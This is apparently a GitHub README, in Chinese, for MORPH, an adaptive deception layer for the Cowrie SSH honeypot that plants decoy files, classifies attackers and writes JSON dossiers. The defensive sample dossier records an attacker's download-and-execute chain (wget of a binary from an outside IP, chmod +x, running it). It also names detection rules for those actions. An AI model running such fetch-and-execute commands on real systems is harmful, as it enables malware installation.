nisbh/MORPH
GitHub: nisbh/MORPH
MORPH 是 Cowrie SSH 蜜罐的自适应欺骗增强层,通过实时响应攻击者行为和跨会话学习来动态演变伪造环境,解决传统静态蜜罐易被识别的痛点,同时生成结构化情报档案。
Stars: 0 | Forks: 0
# MORPH — 模块化反应式多态蜜罐
一个用于 Cowrie SSH 蜜罐的自适应欺骗层,可延长攻击者停留时间并生成情报档案。
## 它的功能
传统蜜罐是静态的。攻击者掌握了它们的特征后会迅速撤离。MORPH 通过以下方式解决这一问题:
1. **实时监控攻击者** — 在 Cowrie 日志写入时进行解析
2. **会话期间植入诱饵** — 根据攻击者运行的命令创建伪造文件(凭证、备份、脚本)
3. **跨会话学习** — 根据以往攻击者的行为模式自适应调整伪造环境
4. **生成档案** — 为每个攻击者会话生成结构化的 JSON 情报文件
结果:攻击者停留时间更长,暴露出更多的 TTPs,并且每个攻击者看到的都是一个略有不同的环境。
## 工作原理
```
┌──────────────────────────────────────────────────────────────────────────────┐
│ MORPH Architecture │
└──────────────────────────────────────────────────────────────────────────────┘
Attacker ──► Cowrie SSH ──► cowrie.json
│
▼
┌──────────────┐
│ Log Parser │ (log_parser.py)
│ - Sessions │
│ - Commands │
│ - Downloads │
└──────┬───────┘
│
▼
┌──────────────┐
│ Classifier │ (classifier.py)
│ - Bot/Human │
│ - Intent │
│ - Risk │
└──────┬───────┘
│
┌─────────────┼─────────────┐
▼ ▼ ▼
┌───────────┐ ┌───────────┐ ┌───────────┐
│ Dossier │ │ Adaptor │ │ Reactor │
│ Generator │ │ (cross- │ │ (real- │
│ │ │ session) │ │ time) │
└─────┬─────┘ └─────┬─────┘ └─────┬─────┘
│ │ │
│ ▼ ▼
│ ┌─────────────────────────┐
│ │ Cowrie honeyfs/ │
│ │ (fake filesystem) │
│ └─────────────────────────┘
│
▼
┌─────────────┐
│ Flask UI │
│ + HTMX │
└─────────────┘
```
## 主要特性
### 自适应欺骗(3 个级别)
| 级别 | 模块 | 描述 |
|-------|--------|-------------|
| Static(静态) | `deception.py` | 预先植入的伪造资产(SQL 转储、API 密钥、.env 文件) |
| Reactive(反应式) | `reactor.py` | 基于攻击者命令的实时文件创建 |
| Adaptive(自适应) | `adaptor.py` | 跨会话学习 — 环境根据攻击历史演变 |
### 基于规则的分类器
无需 ML 即可对每个会话进行分类:
- **类型**:`bot` 或 `human`(基于时间、命令模式、重复情况)
- **意图**:`recon`、`exploit` 或 `persistence`
- **风险**:`low`、`medium` 或 `high`
- 返回 `matched_rules` 列表以提高透明度
### 实时反应引擎
实时监控 `cowrie.json`。触发条件包括:
| 攻击者行为 | 反应器响应 |
|-----------------|------------------|
| `ls /var/www` | 植入带有伪造数据库凭证的 `config.php` |
| `cat /etc/passwd` | 创建 `.ssh/authorized_keys` + `.bash_history` |
| `wget`/`curl` | 在 `/tmp/` 中释放伪造的恶意软件脚本 |
| `find`/`locate` | 在 `/opt/backup/` 中创建 `db_backup_2024.sql.gz` |
文件被写入 honeyfs/。Cowrie 的 fs.py 已被修补,可在每次连接时自动注册新文件 — 无需编辑 pickle 或重新加载。
### 跨会话记忆
`adaptor.py` 从之前的会话中学习:
- 如果备份成为目标 → 将其重新定位到随机路径
- 如果有 2 个或以上攻击者尝试访问 `/etc/shadow` → 植入可破解的 md5crypt 散列值
- 如果检测到 bot → 在 `/etc/services` 中添加伪造的开放端口
- 如果检测到 human+exploit → 在 `/tmp/work/` 中释放未完成的漏洞利用代码
### 攻击者档案
每个会话的 JSON 情报文件:
- 完整的命令历史记录
- 登录尝试
- 下载内容
- 分类结果 + 匹配的规则
- 应用的环境自适应调整
### Flask + HTMX 仪表板
- 带有风险徽章的会话列表
- 档案详细视图
- 实时日志追踪(每 3 秒自动刷新)
- 暗黑主题,无 JS 框架
## 技术栈
- **Python 3.10+** — 核心 pipeline
- **Flask** — Web UI
- **HTMX** — 无需 JS 框架的实时更新
- **Cowrie** — SSH 蜜罐后端
- **watchdog** — 用于反应器的文件系统监控
## 项目结构
```
MORPH/
├── main.py # Pipeline orchestrator
├── log_parser.py # Cowrie JSON log parser
├── classifier.py # Rule-based session classifier
├── dossier.py # JSON dossier generator
├── deception.py # Static fake asset creator
├── adaptor.py # Cross-session learning engine
├── reactor.py # Real-time reaction engine
├── app.py # Flask web UI
├── fs.py # Cowrie patch: auto-registers new honeyfs files
├── templates/
│ ├── base.html # Layout with nav
│ ├── index.html # Dashboard
│ ├── sessions.html # Session list
│ ├── dossier.html # Session detail
│ ├── live_logs.html # Auto-refresh log view
│ └── _log_fragment.html
├── morph/
│ ├── dossiers/ # Generated JSON dossiers
│ ├── deception.log
│ ├── adaptor.log
│ └── reactor.log
└── .gitignore
```
## 安装
### 1. Cowrie (Linux/VPS)
```
# 标准 Cowrie 安装
git clone https://github.com/cowrie/cowrie.git /home/cowrie/cowrie
cd /home/cowrie/cowrie
python3 -m venv cowrie-env
source cowrie-env/bin/activate
pip install -r requirements.txt
twistd --umask=0022 --pidfile=twistd.pid -n cowrie &
```
### 2. MORPH Pipeline
```
git clone https://github.com/youruser/MORPH.git
cd MORPH
pip install flask watchdog
# 更新以下路径:
# - log_parser.py: COWRIE_LOG
# - adaptor.py: HONEYFS_ROOT
# - reactor.py: 所有硬编码路径
# 运行 reactor (后台)
python3 reactor.py &
# 运行 Pipeline + Flask UI
python3 main.py
## Sample Dossier
```json
{
"session_id": "a3f8c2e1b7d9",
"src_ip": "185.220.101.42",
"start_time": "2024-03-29T14:23:17Z",
"end_time": "2024-03-29T14:31:45Z",
"duration_seconds": 508,
"login_attempts": [
{"username": "root", "password": "admin123", "success": false},
{"username": "root", "password": "toor", "success": false},
{"username": "admin", "password": "admin", "success": true}
],
"commands": [
"whoami",
"uname -a",
"cat /etc/passwd",
"wget http://45.33.32.156/x86",
"chmod +x x86",
"./x86"
],
"downloads": [
"http://45.33.32.156/x86"
],
"classification": {
"type": "bot",
"intent": "exploit",
"risk": "high",
"matched_rules": [
"rapid_commands",
"wget_download",
"chmod_execute",
"payload_execution"
]
},
"environment_adaptations": {
"actions": [
"Relocated backup to /opt/.cache/data/",
"Added fake services to /etc/services"
],
"triggered_by": ["previous_high_risk", "bot_detected"]
},
"generated_at": "2024-03-29T14:32:01Z"
}
```
## 部署
推荐:在单个 VPS 上同时运行 Cowrie 和 MORPH。
```
# Cowrie 位于端口 2222,iptables 重定向 22→2222
iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-port 2222
# MORPH Flask 位于 localhost:5000(如需要可通过 nginx 进行反向代理)
# reactor_wsl.py 作为 systemd 服务运行
```
## 限制
- **独立开发** — 单个维护者
- **无 ML** — 所有分类均基于规则
- **无付费 API** — OSINT 富化仅使用免费套餐
- **Cowrie 专属** — 专为 Cowrie 设计,不适用于通用蜜罐
## 许可证
MIT
标签:BOF, EDR绕过, HTTP工具, Log Parsing, Python, SSH蜜罐, TTP分析, 多态蜜罐, 威胁情报, 子域名变形, 实时响应, 开发者工具, 情报档案, 攻击者行为分析, 无后门, 日志解析, 欺骗防御, 网络安全, 网络安全审计, 自适应蜜罐, 蜜罐, 证书伪造, 证书利用, 诱饵系统, 进程注入, 逆向工具, 隐私保护, 高交互蜜罐